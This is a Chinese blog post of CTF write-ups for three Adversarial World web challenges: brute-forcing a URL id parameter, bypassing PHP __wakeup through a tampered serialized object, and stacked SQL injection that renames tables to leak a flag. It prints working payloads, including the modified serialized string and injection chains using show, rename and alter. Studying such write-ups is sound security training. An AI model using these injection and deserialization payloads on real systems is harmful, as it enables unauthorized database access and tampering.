攻防世界Web “ics-06、unserialize3、supersqli”题解

攻防世界Web “ics-06、unserialize3、supersqli”题解

Web安全

周记(4)

—题解

文章目录

  • Web安全
  • 前言
  • 一、知识补充
  • 二、做题
    • 1.ics-06
      • 题目描述:
      • 解题思路:
    • 2.unserialize3
      • 题目描述:
      • 解题思路:
    • 3.supersqli
      • 题目描述:
      • 解题思路:
  • 总结

前言

三题均来自攻防世界WEB高手进阶区。


一、知识补充

①__wakeup()存在一个缺陷,__wakeup 触发于 unserilize()调用之前,
但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup 失效。

②alter修改列名的方法:

alter table patient change mood address VARCHAR(400);

③rename修改表名的方法:

rename table 原表名 to 新表名;

④mysql数据库结构:

数据库~网站~数据库用户
表名
     列名
           数据
table_name:表名
column_name:列名
table_schema:数据库名

二、做题

1.ics-06

题目描述:

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

在这里插入图片描述

解题思路:

进入页面,发现除了点击“报表中心”,其他均无反应。

在这里插入图片描述
尝试改变日期范围,无果。
改变思路,看到URL链接中id=1,猜想可能存在爆破的可能,故使用burpsuite对id的参数值进行爆破。
在这里插入图片描述
在这里插入图片描述

结果发现当id值为2333时,与其他返回length值不同。

在这里插入图片描述

将原URL链接中id的值改为2333时,即可获得flag。

在这里插入图片描述

2.unserialize3

题目描述:

在这里插入图片描述

解题思路:

首先进行代码审计。

class xctf{                      //定义一个名为xctf的类。
public $flag = '111';            //定义一个公有的类属性$flag,值为111。
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本。
exit('bad requests');
}
?code=                           //提示我们使用?code传递参数

分析代码,这里有一个魔术方法__wakeup,在反序列化时,php会调用该方法,结合有一个传递参数。
那么这里整体思路就是让我们进行序列化,然后传参,后台的完整代码会进行反序列化我们传递的参数。
编写php代码,创建对象,传递序列化后的对象。

<?php
class xctf{                      
public $flag = '111';            
public function __wakeup(){      
exit('bad requests');
}
}
$test = new xctf();        //使用new运算符来实例化该类(xctf)的对象为test        
echo(serialize($test));    //输出被序列化的对象(test)   
?>

用phpstudy等工具运行php代码。

在这里插入图片描述

分析序列化字符串。

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O代表结构类型为类:4表示类名长度:类名:类的属性(成员)个数:{属性名类型:长度:名称:值类型:长度:}

我们知道,当成员属性数目大于实际数目时可绕过 _wakeup 方法。
即把1改为2。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

赋值给code,构造payload,即可获得flag。

在这里插入图片描述

3.supersqli

题目描述:

随便注

在这里插入图片描述

解题思路:

先添加一个单引号,报错。

在这里插入图片描述
接着用order by语句判断出有两个字段。
在这里插入图片描述

继续使用union select 爆字段,发现这个时候出现了一段过滤函数。

在这里插入图片描述
由上可基本确定,普通注入方法不可行。
接下来采用堆叠注入,先查询所有数据库。

1';show databases;#

在这里插入图片描述
再查询所有表。

1';show tables;#

在这里插入图片描述
再查询words表中所有列。
发现words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id。

1';show columns from words;#

在这里插入图片描述
查询1919810931114514表中所有的列。

1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

在这里插入图片描述
可以采用修改表结构的方法来将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了。同时将flag字段改为id字段,以达到创建出一个id列的目的。

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最后在数据框栏内用1' or 1=1 #即可得到flag。
注意:不能进行URL编码构造payload的形式,否则仍会报错。

在这里插入图片描述

总结

`以上就是本周主要题解内容,主要涉及数据爆破、php代码审计(魔术方法_wakeup()、正反序列化)、SQL注入、数据库原理等知识点,和burpsuite、phpstudy等工具的使用。

                       

点击阅读全文

上一篇 2023年 6月 5日 am10:43
下一篇 2023年 6月 5日 am10:46